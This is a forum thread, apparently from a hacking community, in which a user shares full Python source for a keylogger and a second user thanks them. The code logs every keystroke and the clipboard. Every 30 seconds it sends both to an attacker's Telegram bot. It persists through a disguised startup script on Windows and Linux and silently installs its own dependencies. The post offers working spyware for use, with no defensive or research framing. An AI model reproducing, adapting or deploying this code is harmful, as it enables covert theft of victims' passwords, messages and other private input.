Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
8095keylogger src
STAFF TEAM
#1
python
import os
import sys
import time
import threading
import logging
import requests
import subprocess
import platform
from pynput import keyboard
BOT_TOKEN = "tg bot token"
CHAT_ID = "chat id"
LOG_FILE = os.path.expanduser("~/.keylogs.txt")
def install_dependencies():
try:
import pynput
except ImportError:
subprocess.run([sys.executable, "-m", "pip", "install", "pynput", "requests"], check=True)
import pynput
install_dependencies()
logging.basicConfig(filename=LOG_FILE, level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
try:
logging.info(str(key.char))
except AttributeError:
logging.info(str(key))

def start_keylogger():
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
def send_logs():
while True:
time.sleep(30) # Send logs every 30 seconds for faster reporting
if os.path.exists(LOG_FILE):
with open(LOG_FILE, "r") as file:
logs = file.read()
if logs.strip():
requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage",
data={"chat_id": CHAT_ID, "text": logs})
open(LOG_FILE, "w").close()
def capture_clipboard():
try:
import pyperclip
except ImportError:
subprocess.run([sys.executable, "-m", "pip", "install", "pyperclip"], check=True)
import pyperclip
while True:
time.sleep(30)
clipboard_content = pyperclip.paste()
if clipboard_content:
requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage",
data={"chat_id": CHAT_ID, "text": f"Clipboard: {clipboard_content}"})
def add_to_startup():
if platform.system() == "Windows":
startup_script = os.path.join(os.getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup", "winlog.bat")
with open(startup_script, "w") as file:
file.write(f"@echo off\npython {sys.argv[0]}\n")
elif platform.system() == "Linux":
autostart_file = os.path.expanduser("~/.config/autostart/keylogger.desktop")
os.makedirs(os.path.dirname(autostart_file), exist_ok=True)
with open(autostart_file, "w") as file:
file.write(f"[Desktop Entry]\nType=Application\nExec=python3 {sys.argv[0]}\nHidden=false\nNoDisplay=false\nX-GNOME-Autostart-enabled=true\nName=System Logger\n")
if __name__ == "__main__":
add_to_startup()
threading.Thread(target=start_keylogger, daemon=True).start()
threading.Thread(target=capture_clipboard, daemon=True).start()
send_logs()

enjoy guys
[-] The following 1 user Likes Johntate22222's post:
  • yvngrich
STAFF TEAM
#2
[font][font]Thanks broo[/font][/font]
Reply

Reply to this thread